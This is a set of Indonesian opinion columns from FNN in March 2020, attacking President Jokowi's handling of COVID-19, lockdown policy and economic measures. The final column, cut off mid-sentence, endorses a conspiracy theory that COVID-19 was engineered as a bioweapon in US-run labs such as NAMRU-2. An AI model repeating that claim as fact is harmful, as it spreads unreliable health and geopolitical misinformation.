Hari demi hari, gelombang protes terhadap sikap Presiden yang "kekeh" tidak mau lockdown semakin membesar. Selain Walikota Tegal dan Gubernur Papua, protes juga datang diantaranya dari Ikatan Dokter Indonesia (IDI), para Guru Besar Fakultas Kedokteran Universitas Indonesia (FKUI), Ketua MPR, sejumlah fraksi di DPR, para pengamat dalam dan luar negeri, bahkan beberapa Kepala Daerah. By Tony Rosyid Jakarta FNN – Sabru (28/03). Lockdown itu otoritas Pemerintah Pusat, titik. Begitulah keputusan presiden. Keputusan nggak bisa diganggu gugat. Rencana Anies, Gubernur DKI untuk lockdown Jakarta batal setelah kedatangan Menteri Dalam Negeri Tito Karnavian ke balai kota membawa pesan istana. Intinya, lockdown bukan wewenang Gubernur. Dan Anies tak akan melockdown Jakarta tanpa seijin presiden. Bagi Anies, ini prinsip. Tak ada negara dalam negara. Sebagai Gubernur, Anies tak akan langgar aturan dan berseberangan dengan Presiden. Meski Jakarta belum jadi lockdown, Anies harus kerja ekstra menghadapi penyebaran Covid-19 yang semakin masif. Pasalnya, Jakarta jadi epicentrum penyebaran virus mematikan ini. Berbagai langkah dilakukan Anies, termasuk test massal, menjemput pasien covid-19 di rumah, melakukan penyemprotan disinfectan, menutup semua bisnis pariwisata dan meliburkan ganjil-genap agar masyarakat tidak berjubel di public transportation. Anies menyiapkan empat hotel dengan seluruh fasilitasnya untuk tenaga medis, menambah insentif Rp 250.000 setiap harinya. Ini adalah bagian dari support Gubernur Anies sebagai komandan perang melawan covid-19 di wilayah DKI. Kepada seluruh warga DKI Anies minta mereka kerja dan belajar dari rumah selama 14 hari ke depan. Konsekuensinya, pemprov DKI menyiapkan anggran Rp 1,1 juta untuk keluarga tidak mampu. Persoalan logistik, Jakarta masih aman. Semua langkah ini sesungguhnya adalah soft lockdown. Lockdown ringan-ringan saja. Tak melanggar aturan, juga tak bertabrakan dengan kebijakan pusat. Dan langkah Anies ini didukung oleh banyak pihak. Termasuk Kepala Satgas Covid-19 Pusat. Langkah Anies belakangan diikuti oleh sejumlah Kepala Daerah. Malah Walikota Tegal, Dedy Yon Supri Yono, lebih nekad lagi. Dedy berencana akan melakukan lockdown lokal setelah satu orang positif Covid-19 dan satu orang meninggal karena covid-19. Lockdown dimulai tanggal 30 Maret nanti. Sebelumnya, gubernur Papua, Lukas Enembe, juga melakukan lockdown. Langkah ini diambil Lukas Enembe untuk menyelamatkan warga Papua sebelum covid-19 masuk ke wilayah itu. Ini bukan saja langkah pro aktif, tetapi juga tindakan sangat berani, karena berlawanan dengan keputusan Presiden. Langkah Walikota Tegal dan Gubernur Papua, memberi isyarat bahwa peringatan Presiden sepertinya tak didengar. Bagi mereka, nyawa rakyat mereka lebih penting. Akankah langkah dua kepala daerah ini diikuti oleh kepala daerah yang lain? Bagaimanapun keputusan gubernur Papua dan Walikota Tegal pasti berpengaruh terhadap daerah yang lain. Hari demi hari, gelombang protes terhadap sikap Presiden yang "kekeh" tidak mau lockdown semakin membesar. Selain Walikota Tegal dan Gubernur Papua, protes juga datang diantaranya dari Ikatan Dokter Indonesia (IDI), para Guru Besar Fakultas Kedokteran Universitas Indonesia (FKUI), Ketua MPR, sejumlah fraksi di DPR, para pengamat dalam dan luar negeri, bahkan beberapa Kepala Daerah. Sementara penyebaran covid-19 makin hari semakin tinggi angkanya. Sudah tembus di angka ribuan. Sampai dengan Jum’at 27 Maret kemarin yang positif Covis-19 sudah mencapai 1046 orang. Dari jumlah tersebut, 87 orang diantaranya meninggal dunia. Masifnya gelombang protes dan makin tingginya angka yang positif Covid-19 membuat Presiden mulai bimbang dengan keputusannya sebelumnya. Kali ini, Mahfuz MD sepertinya mendapat tugas khusus menyiapkan Peraturan Pemerintah (PP) sebagai dasar untuk melakukan lockdown lokal. Apakah ini artinya pemerintah pusat sudah give up? Lalu menyerahkan tanggung jawab ini ke masing-masing Pemerintahan Daerah? Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Corona Mengkonfirmasi Jokowi Gagal Sebagai Leader

Tampak bahwa lambannya penanganan corona ini adalah persoalan kepemimpinan. Pemimpin harus punya leadership yang kuat. Juga harus mampu membaca arah masalah akan ke mana? Seperti apa nantinya? Dari persoalan meluasnya wabah Covis -19 ini, terkonfirmasi bahwa Jokowi gagal untuk tampil sebagai seorang leader yang baik untuk bangsa dan rakyatnya sebagaimana yang diperintahkan oleh konstitusi. By Gde Siriana Yusuf Jakarta FNN – Sabtu (28/03). Awal Februari 2020, ketika wabah virus Corona belum berstatus pandemi, tetapi sudah mulai menyebar ke banyak negara, persiapan apa yang telah dilakukan pemerintahan Jokowi? Alih-alih menyiapkan langkah-langkah penting untuk menahan virus Corona, Jokowi malah sibuk dengan mengebut pembahasan Omnibus Law dan proyek Ibukota baru. Ketika negara-negara lain mulai melakukan pembatasan masuk-keluar negara terhadap warga negara asing, Jokowi justru antusias memberikan insentif pariwisata. Ketika dunia internasional melakukan pendekatan-pendekatan ilmiah untuk prediksi kekuatan wabah di berbagai negara, para pendukung can orang-orang inner circle Jokowi malah membuat pernyataan nyeleneh yang tidak ilmiah. Seharusnya Jokowi mengajak rakyat, dan mengkoordinasikan daerah-daerah untuk bersiap diri hadapi datangnya wabah Corona. Sayangnya PP yang mengatur teknis pelaksanaan UU No. 6/2018 tentang Kekarantinaan Kesehatan belum juga disiapkan Jokowi. Padahal undang-undang tersebut sudah dua tahun lalu. Sebenarnya Jokowi bisa siapkan BUMN farmasi/kesehatan untuk uji test-kit dan produksi massal masker. Begitu juga dengan hand sanitizer dan Alat Pelindung Diri (APD) untuk dokter dan perawat. Seharusnya jauh-jauh sudah disiapkan hari agar rakyat tidak terbebani dengan harganya yang sekarang meroket saat ini. Juga tidak perlu impor. Seperti yang dilakukan India, yang sudah produksi tes kit dalam negeri. Kekurangan APD ini saat menjadi beban bagi mereka yang merawat pasien positif Covis-19. Minimnya APD ini begitu memberatkan. Sekarang terbukti, mengakibatkan banyak dokter dan perawat meninggal setelah tertular dari pasien yang positif Civis-19. Kesimpulannya, sejak awal kabar tentang wabah Corona Jokowi menganggap enteng. Meski Jokowi dan pemerintahnya sudah dingatkan banyak oleh pihak. Buktinya, Jokowi kini sangat jelas kegagapannya menghadapi kasus yang terus bertambah dari hari-ke hari. Sekarang, suka dan tidak suka Jokowi sudah terjebak dalam dilema ntara lockdown atau tidak. Semakin terlambat dalam mengambil keputusan, yang sehat bisa semakin banyak yang sakit. Dan yang sakit juga semakin banyak yang meningeal dunia. Tampak bahwa lambannya penangan corona ini adalah persoalan kepemimpinan. Pemimpin harus punya leadership yang kuat. Juga harus mampu membaca arah masalah akan ke mana? Seperti apa nantinya? Dari persoalan meluasnya wabah Covis -19 ini, terkonfirmasi bahwa Jokowi gagal untuk tampil sebagai seorang leader yang baik untuk bangsa dan rakyatnya, sebagaimana yang diperintahkan oleh konstitusi. Kini rakyat harus berjuang masing-masing dalam melawan Corona. Rakyat banyak yang kehilangan pendapatan harian. Namun negara tidak yang mengasih uang ketika hilang pendapatan harian hilang. Karena mereka tidak lagi bisa berjualan atau narik ojek online harian. Tapi rakyat tetap harus kuat jika tidak mau negeri ini rusak parah. Jika pemimpin lalai, maka rakyatlah yang akan selamatkan negara. Sekarang kita tidak bisa apa-apa lagi. Rakyat harus jaga diri masing-masing ,dan banyak-banyak berdoa. Jangan terlalu berharap kepada negara. Kalau bisa bantulah orang yang masih perlu makan. Siapkan diri lahir bathin untuk situasi terburuk. Saya menyarankan agar ingatlah selalu 5T dan 2S, yaitu tinggal di rumah, tubuh selalu sehat, tangan sering dicuci, tes gejala corona, telusur pernah kontak. Ayo, stop penyebaran Corona untuk selamatkan hidup kita. Penulis adalah Managing Dierctor Indonesioa Future Studies (INFUS)

Pasukan Tempur Mulai Melawan Jokowi

Oleh Hersubeno Arief. Jakarta, FNN - Sudah bisa diduga. Kebijakan Presiden Jokowi anti lockdown, mulai mendapat perlawanan. Sebagai Panglima Perang melawan Corona, Jokowi harus menghadapi realitas pasukannya mengalami demoralisasi. Ogah bertempur! Tenaga medis sebagai pasukan tempur di front terdepan, mengancam tidak akan bekerja bila alat pengaman diri (APD) tidak dilengkapi. Di beberapa front pertempuran lainnya, sejumlah kepala daerah sebagai komandan pertempuran, mengabaikan larangan Jokowi tak melakukan lockdown. Pengurus Besar Ikatan Dokter Indonesia (PB IDI) Jumat (27/3) menyampaikan protes keras kepada pemerintah. Mereka menilai pemeritah tidak cukup menyediakan APD yang memadai dan menjamin keselamatan tenaga medis. "Bila hal ini tidak terpenuhi, maka kami meminta kepada anggota profesi kami, untuk sementara tidak ikut melakukan perawatan penanganan pasien COVID-19 demi melindungi dan menjaga keselamatan sejawat,” tegas Ketua IDI Daeng M Faqih. IDI tidak sendiri. Sikap tersebut disepakati bersama beberapa organisasi profesi lainnya. Persatuan Dokter Gigi Indonesia (PDGI), Persatuan Perawat Nasional Indonesia (PPNI), Ikatan Bidan Indonesia, dan Ikatan Apoteker Indonesia (IAI) juga akan melakukan langkah serupa. IDI sesungguhnya sudah menyampaikan pentingnya pemerintahan melakukan lockdown, untuk mencegah membludaknya pasien virus Corona. Mereka tahu persis, bahkan sampai hitungan detilnya. Jika terjadi ledakan jumlah penderita, fasilitas rumah sakit tidak akan mampu menampung. Sementara jumlah tenaga medis yang ada, juga tidak akan mampu menanganinya. Korban akan berjatuhan. Mereka tidak bisa berbuat apa-apa. Lebih mengenaskan lagi banyak tenaga medis yang ikut menjadi korban. Puluhan orang sudah tertular, sejumlah dokter dan perawat meninggal dunia. Semua itu disebabkan keterbatasan APD. Sangat ironis pasukan tempur terdepan, aset utama pemerintah menghadapi perang melawan Corona, dibiarkan tewas tidak terlindungi. Jelas ini menyebabkan terjadinya demoralisasi. Pasukan melawan. Daripada mati konyol! Hanya karena pengabdian yang tinggi, sikap profesional, dan terikat sumpah untuk menyelamatkan kemanusiaan, mereka tetap berjibaku. Termasuk mengorbankan nyawanya. Para tenaga medis tampaknya sudah sampai pada puncak kekesalannya. Enough is enough. Sudah cukup. Tidak bisa ditoleransi lagi. Sebelumnya para tenaga medis masih mencoba tidak bersikap frontal. Melakukan persuasi, memberi signal-signal. Mulai dari pesan tersirat maupun tersurat. Namun pemerintah pusat bergeming. Saking kesalnya Ketua Satgas Covid-19 PB IDI Prof Zubairi Djoerban sampai berkata, “ Kalau tidak mau lockdown, setidaknya jangan bikin kebijakan ngawur lah,” ujar dokter senior spesialis penyakit dalam itu. Selain para tenaga medis, meledaknya penderita virus Corona membuat sejumlah kepala daerah menambil langkah berani. Mereka melakukan lockdown, menutup daerahnya. Tak peduli dengan larangan pemerintah pusat. Mereka lebih paham kegawat-daruratan daerah masing-masing. Pemprov Papua memutuskan menutup akses pergerakan manusia ke wilayahnya. Mereka menyisakan pintu hanya terbuka untuk barang kebutuhan logistik, terutama sembako, dan alat kesehatan. Mereka tak pedulikan keberatan Mendagri Tito Karnavian. Mereka lebih tahu kondisi daerahnya. Fasilitas dan tenaga medis di provinsi itu sangat terbatas. Jika terjadi ledakan penderita, Papua akan menjadi “ladang pembantaian”. Mereka pasti tak mampu menanganinya. Mereka tampaknya juga sadar, tidak mungkin minta bantuan pemerintah pusat atau daerah lain. Semua sedang menghadapi masalah yang sama. Walikota Tegal Dedy Yon Supriyono juga mengambil langkah berani. Dia menutup akses ke kota Bahari itu karena ada warganya yang sudah positif Corona. Politisi Partai Demokrat itu mengaku, dia siap menanggung konskuensi dari keputusannya. “Ini adalah pilihan yang sangat pahit. Saya pribadi juga dilematis. Kalau boleh memilih, saya lebih baik dibenci masyarakat,” kata Dedy Yon saat mengumumkan kebijakannya Rabu (25/3). Gubernur Kalimantan Timur Isran Noor pada tanggal 17 Maret sudah memutuskan melakukan lockdown. Namun keputusan itu diralat setelah diperingatkan. “Keputusan lockdown ada di tangan pemerintah pusat,” ujarnya menirukan pernyataan Jokowi. Soal wanti-wanti kewenangan pusat inilah yang menyebabkan Mendagri Tito Karnavian (17/3) sampai harus mendatangi Gubernur DKI Anies Baswedan. DKI walau tidak menggunakan istilah lockdown, sudah melangkah jauh melebihi pemerintah pusat. Anies meliburkan sekolah, mengimbau penutupan tempat ibadah, perkantoran, dan mengurangi operasional kendaraan MRT dan Trans Jakarta. Ujian bagi Jokowi Perlawanan tenaga medis dan para kepala daerah ini menjadi ujian sesungguhnya bagi kualitas kepemimpinan Jokowi. Apakah dia tetap bersikukuh tidak lockdown dengan risiko ditinggalkan dan dilawan pasukan tempurnya. Atau dia terpaksa melakukan kompromi-kompromi? Tanda-tanda bahwa Jokowi akan lempar handuk, menyerah melakukan lockdown, sudah tampak. Menko Polhukam Mahfud MD menyatakan, pemerintah tengah menyiapkan Peraturan Pemerintah (PP) lockdown. Hanya saja dia menyebut opsi yang dipilih karantina wilayah alias lockdown wilayah. Kita tinggal menunggu apakah langkah tersebut benar-benar diambil. Selama ini kita menyaksikan kebijakan Jokowi menangani Corona, tidak konsisten. Berubah-ubah. Membingungkan publik. Termasuk soal lockdown. Banyak pengamat yang menduga sikap Jokowi anti lockdown, karena ada konskuensi anggaran yang harus dipikul pemerintah. Sementara dia tidak mau mundur dari ambisinya membangun ibukota baru. Berbagai akrobat dilakukan. Pemerintah sedang menyiapkan Perppu melebarkan defisit APBN dari Produksi Domestik Bruto (PDB). Dari semula 3% menjadi 5%. Menambah utang di Bank Dunia, dan memanfaatkan bantuan dari lembaga keuangan dunia IMF. Pemerintah juga terpaksa meminta bantuan dari masyarakat. Menkeu Sri Mulyani menyatakan pemerintah akan membuka akun dompet sumbangan dari masyarakat dan dunia usaha. Dalam UU Nomor 6 Tahun 2018 tentang Kekarantinaan Kesehatan yang diteken Jokowi pada 7 Agustus 2018 pemerintah pusat harus menanggung biaya karantina.. Pasal 55 ayat 1 Selama dalam Karantina Wilayah, kebutuhan hidup dasar orang dan makanan hewan ternak yang berada di wilayah karantina menjadi tanggung jawab Pemerintah Pusat. Jadi Aturan UU-nya sudah cukup jelas. Begitu dia menyetujui lockdown, walaupun hanya bersifat kewilayahan, pemerintah pusat harus siap-siap merogoh kocek lebih dalam. Juru bicara pemerintah untuk penanganan Covid-19 Achmad Yurianto, Kamis (26/3) menyatakan, wabah sudah menyebar di 27 provinsi. Tinggal 7 provinsi yang belum kebagian. Silakan hitung berapa besar pemerintah di bawah kepemiminan Jokowi harus menanggung beban biaya lockdown. Semua itu karena pemerintah lelet. Terlambat mengambil kebijakan. Jokowi terpaksa harus mau melupakan proyek infrastruktur mercusuar, termasuk ibukota negara baru. Silakan pilih pak Jokowi. Mau ditinggalkan pasukan dan bertempur sendirian. Atau melupakan ambisi meninggalkan warisan, demi menyelamatkan kemanusiaan? Bapak pasti tahu mana yang lebih baik dan terpuji. End Penulis wartawan senior.

Usulan Bupati Tapanuli Utara Wajib Didukung dan Dilaksanakan

Kalau dana ini diberdayakan di seluruh Indonesia, maka jumlahnya bisa mencapai puluhan triliun. Mungkin bisa lebih dari Rp 50 triliun. Bisa membantu meringankan keuangan Pemerintah Pusat. Jadi, beliau Bupati Nikson Nababan juga mengatakan tidak perlu pinjam uang ke IMF. Ini terobosan yang sangat luar biasa. Pemerintah Pusat hanya perlu membuat payung hukum untuk memberdayakan dana tersebut. By Anthony Budiawan Jakarta FNN – Jum’at (27/03). Dampak bencana Covid-19 sangat luar biasa menghancurkan. Sangat Menakutkan. Banyak pihak asing mengatakan Indonesia tidak siap. Bahkan terlihat di banyak media sosial, keduataan asing menyerukan warganya meninggalkan Indonesia dengan alasan Indonesia tidak siap menghadapi wabah Covid-19 ini. Statistik terkait Covid-19 memang menunjukkan kekhawatiran. Jumlah pasien terinfeksi meningkat tajam. Mencapai 1,046 orang per 27 Maret 2020. Penambahan pasien terinfeksi lebih dari 100 orang setiap hari. Yang mengkhawatirkan, jumlah pasien meninggal sampai dengan 267Maret 2020 mencapai 87 orang, sedangkan yang sembuh hanya 46 orang. Berdasarkan studi dari salah satu institusi di Inggris yang di-release Reuters, jumlah pasien terinfeksi di Indonesia jauh lebih besar dari yang dilaporkan secara resmi. Hanya sekitar 2% dari yang diperkirakan oleh studi tersebut. Hal ini yang memicu banyak kedutaan asing menyerukan warganya meninggalkan Indonesia secepatnya. Faktor fasilitas kesehatan di Indonesia yang sangat minim untuk bisa merawat ledakan pasien juga menjadi pertimbangan kedutaan asing meminta warganya meninggalkan Indonesia. Apalagi Indonesia mempunyai keterbatasan jumlah dokter, jumlah perawat, jumlah tempat tidur rumah sakit, jumlah ruang isolasi, alat test virus yang memadai, Alat Pelindung Diri (APD), dan banyak keterbatasan lain lagi. Minimnya fasilitas kesehatan ini tidak terlepas dari anggaran kesehatan yang relatif sangat kecil. Oleh karena itu, untuk memerangi wabah Covid-19 yang sangat mendadak ini, Indonesia memerlukan dana yang relatif sangat besar untuk meningkatkan fasilitas kesehatan. Bukan hanya di Jakarta, tetapi juga di seluruh pelosok Indonesia. Daerah Butuh Payung Hukum Terbersit rencana pemerintah ingin mengajukan utang luar negeri untuk pembiayaan melawan musibah Covid-19 ini. Tidak tanggung-tanggung, utangnya kepada IMF, yang mempunyai catatan hitam terhadap perekonomian Indonesia ketika bail out tahun 1998. Niat pemerintah ini sebetulnya sangat aneh. Karena sebenarnya masih banyak sumber pendanaan di dalam negeri. Selain pemerintah juga masih banyak uang di kasnya. Ada lebih dari Rp 270 triliun di kas pemerintah per akhir Februari 2020. Selain itu, pernyataan Bupati Tapanuli Utara Nikson Nababan membuka mata kita lebar-lebar. Ini pernyataan yang luar biasa. Di tengah kondisi, dimana daerah juga sangat keteteran menghadapi penyebaran Covid-19 akibat fasilitas kesehatan di daerah sangat minim. Untuk dapat menghadapi wabah Covis -19 ini, ada seorang Bupati yang langsung memberi solusi. Bukannya merengek minta uang ke Pemerintah Pusat, tetapi ingin membantu Pemerintah Pusat. Sebab Daerah memang sangat kekurangan ruang isolasi dan APD. Untuk itu, Bupati Nickson Nababan mengusulkan agar bisa membeli sendiri alat-alat perlengkapan kesehatan tersebut. Caranya, dengan menggunakan dana deposito daerah yang simpan di bank provinsi. Kalau dana ini diberdayakan di seluruh Indonesia, maka jumlahnya bisa mencapai puluhan triliun. Mungkin bisa lebih dari Rp 50 triliun. Bisa membantu meringankan keuangan Pemerintah Pusat. Jadi, beliau Bupati Nikson Nababan juga mengatakan, tidak perlu pinjam uang ke IMF. Ini terobosan yang sangat luar biasa. Pemerintah Pusat hanya perlu membuat payung hukum untuk memberdayakan dana tersebut. Nah tunggu apa lagi. Pemerintah Pusat seharusnya segera bergerak membentuk payung hukum itu. Sehingga daerah bisa secepatnya memiliki fasilitas kesehatan yang lebih memadai, demi mengurangi korban Covid-19. Seharusnya payung hukum ini bisa dibuat hanya dalam sehari. Ingat, sejarah mencatat, ada Bupati yang sudah memperingati ini kepada pemerintah pusat demi keselamatan warga di daerahnya. Juga demi keselamatan ekonomi nasional daripada utang ke luar negeri. Semoga dapat dilaksanakan secepat mungkin. Penulis adalah Managing Director Political Economy and Policy Studies (PEPS)

Kebijakan Ekonomi di Tengah Pandemi Covid-19

By Andi Rahmat Jakarta FNN – Jum’at (27/03). Untuk mempertahankan perekonomian nasional, agar tidak jatuh dalam resesi berkepanjangan, kita memang perlu melakukan kebijakan counter cyclical yang kuat. Kuat dalam artian tidak tanggung-tanggung. Tidak tanggung-tanggung, karena memang yang dihadapi adalah peristiwa perekonomian yang luar biasa. Luar biasa disebabkan asal-muasal persoalannya bukan bersumber dari suatu krisis ekonomi. Tetapi bersumber dari peristiwa pandemic virus corona, Covid-19. Secara tiba-tiba, roda perekonomian terhenti, didalam maupun di luar negeri. Perekonomian secara tiba-tiba mengalami crash landing, dan mesti masuk kedalam ruang ICCU. Sampai- sampai kongres Amerika Serikat meloloskan paket ekonomi senilai US $ 2,2 trilliun. Terbesar pasca perang Dunia ke-2 hanya dalam waktu dua minggu. Demikian juga dengan Bank Sentralnya. The Federal Reserve, mengeluarkan kebijakan di luar pakem kebanksentralan melalui kebijakan Asset Purchase Program yang non limit, dan juga menyasar sektor riil. Saya pribadi mendengar ada pembicaraan di kalangan pengambil kebijakan yang mendiskusikan besaran paket kebijakan yang rentang nilainya berkisar Rp 200-400 Trilliun. Sejauh ini, Bank Indonesia sudah mengeluarkan tidak kurang Rp 300 trilliun dari cadangan devisa untuk mengatasi gejolak ekonomi. Seingat saya, sejak tahun 2004, ini adalah intervensi terbesar otoritas moneter yang dilakukan dalam satu kurun waktu yang sangat singkat. Yang dilakukan oleh BI itu adalah kebijakan jumbo untuk ukuran Indonesia. Apalagi jika betul-betul nantinya pemerintah dan DPR juga bersepakat mengeluarkan paket kebijakan yang nilainya setara dengan pengeluaran BI, yaitu Rp 300 Trilliun. Dengan mengasumsikan bahwa BI akan menggunakan secara optimal kekuatannya, maka dalam beberapa bulan ke depan, kita akan melihat suatu aksi kebijakan ekonomi bernilai Rp 500-600 trilliun. Jumlah yang sangat besar. Mari kita pikirkan soal ini dengan tenang dan kepala dingin. Dimulai dengan pertanyaan-pertanyaan yang sederhana. Misalnya, untuk apa kebijakan itu? Kepada siapa saja kebijakan itu ditujukan? Dan sampai kapan lamanya? Pertanyaan pertama berhubungan dengan argumentasi yang mendasari kebijakan tersebut. Pertanyaan kedua menyoal “ keberpihakan kebijakan “. Dan pertanyaan ketiga enduransi kebijakan. Karena kebijakan yang akan diambil itu merupakan kebijakan defisit, dan karenanya akan berhubungan dengan hutang baru. Ini sudah tentu akan mengundang polemik. Maka argumen dasarnya haruslah solid dan transparan. Diketahui oleh publik. Solidnya argumentasi itu, terletak pada keyakinan bahwa, itulah cara terbaik dan satu-satunya jalan yang mesti diambil. Tujuannya untuk mencegah pemburukan ekonomi yang dalam. Suatu keadaan perekonomian yang sulit dan akan lebih mahal untuk recovery. Jadi, argumentasi ini haruslah merupakan jawaban untuk menghentikan pendarahan lebih lanjut perekonomian nasional. Selian itu, memberi kesempatan kepada fungsi-fungsi perekonomian untuk kembali dapat berfungsi secepat mungkin. Tidak boleh ada argumentasi lain. Dengan demikian, besaran anggaran yang diperlukan juga merupakan cerminan dari keyakinan argumentatif tersebut. Atau dengan kata lain, besaran biaya yang dikeluarkan haruslah sebanding atau lebih besar dari resiko yang akan dihadapi. Kepada siapa kebijakan itu ditujukan. Dalam hal ini, otoritas mesti jernih betul dalam soal keberpihakan. Tentu saja publik sangat tidak menghendaki kebijakan yang berbau krisis 1998. Yang menjadi korban utama dalam krisis ini adalah perekonomian sektor riil. Lebih terangnya adalah perekonomian rakyat sehari-hari. Dalam kategorisasi sektor, yang terpukul keras itu adalah sektor UMKM. Memang ada pukulan kuat juga pada sektor pariwisata, perhotelan, transportasi dan sektor makanan, khususnya restoran dan warung-warung rakyat. Tetapi jangan dilupakan bahwa sektor informal yang menjadi tulang punggung ekonomi rakyat kebanyakan menderita sangat berat. Ke titik-titik inilah seharusnya yang menjadi titik berat keberpihakan kebijakn ekonomi. Saya malahan beranggapan, inilah saat yang tepat untuk mereposisi struktur perekonomian nasional. Mendorong keseimbangan baru, dimana peran perekonomian UMKM menjadi lebih kuat. Sektor-sektor produktif ekonomi rakyat kebanyakan itu yang harus diperkuat habis-habisan. Now or Never. Dalam bahasa yang lebih terang. Tidak usah khawatir dengan korporasi besar. They have plenty of money and plenty of chances. Infrastruktur penguasaan aset-aset mereka solid dan sanggup merestrukturisasi dirinya dengan banyak pilihan strategik. Yang tidak kalah pentingnya adalah soal enduransi kebijakan. Sistem fiskal kita bersifat tahunan. Karena itu, menjadi kritikal untuk juga menyertakan perspektif daya ungkit kebijakan ekonomi yang akan diambil nantinya. Kebijakan ekonomi berskala besar yang akan diambil untuk mengatasi ketiba-tibaan krisis yang dihadapi, menyebabkan kebijakan itu dituntut untuk sekaligus juga merupakan exit strategy bagi langkah-langkah pemulihan lanjutan di tahun fiskal berikutnya. Memfokuskan diri pada strategi “bantalan” ( cushion ) akan berdampak pada kemungkinan biaya mahal yang tidak efektif. Kuncinya, kebijakan bauran yang meliputi penanganan jangka pendek terhadap shock perekonomian, khususnya ekonomi rumah tangga dan UMKM. Dengan alokasi maksimum untuk menangani sumber persoalannya, yaitu pandemi Covid-19. Pada saat yang sama, menyiapkan landasan kebijakan untuk tahun fiskal berikutnya, yang mencerminkan upaya untuk memulihkan fungsi-fungsi perekonomian. Dalam hal ini, pelebaran defisit dilakukan secara bijak dengan tidak menumpuknya hanya di tahun ini. Namun juga disebar ketahun depan. Ringkasnya, kapasitas pembiayaan defisit tidak dihabiskan dalam tahun fiskal ini saja tapi juga dipersiapkan untuk tahun berikutnya. Dengan begitu, struktur hutang tetap dalam batas yang bisa dikendalikan. Enduransi ini diperlukan di tengah ketidak pastian ekonomi global. Pemulihan ekonomi global sangat bergantung pada kemampuan adaptif manusia dan para pengambil kebijakan, dalam mengatasi pandemi corona ini. Sifat mobilitas dan interaksi manusia, yang menjadi dasar bagi perekonomian global adalah korban utama dari pandemi Covid-19. Tentunya, Selain nyawa manusia. Semoga Allah SWT menolong bangsa dan negara kita keluar dari situasi krisis ini. Wallahu ‘alam bissawab. Penulis adalah Pelaku Usaha, Mantan Wakil Ketua Komisi XI DPR RI

Virus Corona, Senjata Biologis Perang Dunia Kelima?

Oleh Mochamad Toha Jakarta, FNN - Saling tuduh antara China dan Amerika Serikat mulai terjadi terkait munculnya Virus Corona atau Covid-19. Terutama tudingan siapa pembuat corona. Presiden Donald Trump seringkali menyebutnya dengan nama “Virus China” atau “Virus Wuhan”. Hari-hari ini memang mulai terjadi propaganda. Tudingan yang dinilai sarat diskriminasi itu yang membuat China meradang, dan menuding balik justru virus ini buatan AS. Melansir CNN Indonesia, Kamis (26/03/2020 20:28 WIB), melalui akun Twitter-nya, salah satu juru bicara Kemlu China, Lijian Zhao, mengatakan virus itu dibawa oleh tentara AS yang mengunjungi Wuhan sekitar Oktober 2019 lalu. “Politikus AS ini terus bergerak menentang konsensus internasional dan terus membuat stigmatisasi terhadap China, merusak upaya China,” kata jubir Kemlu China lainnya, Geng Shuang, dalam jumpa pers rutin di Beijing hari ini, Kamis (26/3/2020). “Dan mencoba menggunakan ini semua untuk mengalihkan perhatian dengan menyalahkan kami demi niat yang sangat jahat,” tegasnya. Sebelumnya AS menuding China banyak menutupi informasi terkait virus corona (Covid-19) yang kini telah menyebar ke 198 negara dan wilayah di dunia. Menteri Luar Negeri AS Mike Pompeo mengatakan, China selama ini telah memberikan informasi keliru terkait virus serupa SARS itu, terutama terkait awal penyebarannya. Tudingan itu diucapkan Pompeo saat rapat melalui video virtual bersama para Menlu negara G7 lainnya pada Rabu (25/3/2020). “Setiap negara di pertemuan itu pagi ini sangat menyadari kampanye disinformasi yang dilakukan Partai Komunis China yang ingin mencoba membelokkan fakta dari apa yang sebenarnya terjadi,” kata Pompeo kepada wartawan di Washington seusai video conference. Pompeo menganggap China telah dan terus terlibat dalam “kampanye media sosial yang menyebarkan teori konspirasi terkait keterlibatan AS” dalam masalah pandemi corona ini. “Itu pertemuan yang gila,” kata Pompeo seperti dikutip dari AFP. Pompeo mengklaim keenam negara anggota G7 lainnya juga sepakat menentang “kampanye disinformasi China” soal penyebaran corona ini. Namun, sejumlah negara Eropa dalam G7 telah menekankan kerja sama lebih penting untuk memerangi pandemi global yang telah menular ke 486.702 orang di hampir seluruh penjuru dunia itu. Per hari ini, total ada 22.020 orang di seluruh dunia dinyatakan meninggal setelah terinfeksi virus corona. Saat penyebaran virus corona di luar China terus melonjak, jumlah kasus Covid-19 di Negeri Tirai Bambu justru berangsur menurun. Bahkan, China sempat menyatakan nihil kasus dalam beberapa hari terakhir meski muncul kasus Covid-19 dari pendatang luar negeri masih tinggi. Di tengah upaya penanganan Covid-19 di dalam negeri, China mulai berupaya mengulurkan bantuan bagi negara lain seperti Italia yang menjadi negara dengan kasus corona terbanyak di dunia. Wabah virus corona yang meluas ke berbagai negara, termasuk AS, memang menimbulkan daya rusak yang dahsyat terhadap tatanan ekonomi global maupun di sektor industri. Menurut Prof. Hendrajit, Pengkaji Geopolitik, Global Future Institute (GFI), ada satu isu yang luput dari amatan dan bahasan para ahli. Mungkinkah virus corona/Covid-19 bisa direkayasa menjadi senjata biologis? Gordon Duff, seorang veteran dari kesatuan marinir AS yang pernah ikut Perang Vietnam di Vietnam, menulis sebuah artikel yang cukup menarik bertajuk: “COVID 19, an Engineered Pandemic?” Dalam artikelnya itu, Gordon Duff menulis, “Black funde laboratories operating under cover of animal diseases research or biological warfare defense facilities, run by the US, British, Israeli and other governments, are not only capable of creating COVID 19 but are evidenced as being funded for exactly this type of program.” Merujuk pada keberadaan laboratorium bertujuan ganda ala NAMRU-2 AS yang beroperasi di Indonesia dan beberapa negara Asia Tenggara, maka apa yang diistilahkan oleh Gordon Duff sebagai black funded laboratories atau laboratorium hitam yang dikelola dan didanai AS, Inggris, Israel, dan beberapa negara sekutu ketiga negara itu, tak ada keraguan lagi, yang dimaksud Gordon Duff sebagai black funded laboratories adalah semacam NAMRU-2 AS. Dan dalam keyakinan Gordon Duff, black funded laboratories ala NAMRU-2 AS tersebut mampu menciptakan virus corona atau Covid-19. Bahkan melalui bantuan dana yang cukup besar untuk mengembangkan laboratorium untuk pengadaan fasilitas program senjata biologis berkedok laboratorium, yang secara potensial mampu menciptakan virus corona Covid-19. Dengan demikian, laboratorium bertujuan ganda ala NAMRU-2 AS atau black funded laboratories meminjam istilah Gordon Duff, pada perkembangannya mampu menciptakan Global Pendemic, atau rekayasa Wabah Covic-19 berskala global. Sebagai bagian integral dari Chaos Theory Operation. Yang paralel atau sejenis dengan aksi terorisme pemboman gedung World Trade Center (WTC) dan Gedung Pentagon pada 11 September 2001 lalu. Apakah fenomena Covid-19 tersebut bisa kita kategorikan sebagai perang biologis dengan mendayagunakan senjata-senjata biologis? Yang jelas kalau kita kilas balik ke belakang, Covid-19 serupa dengan 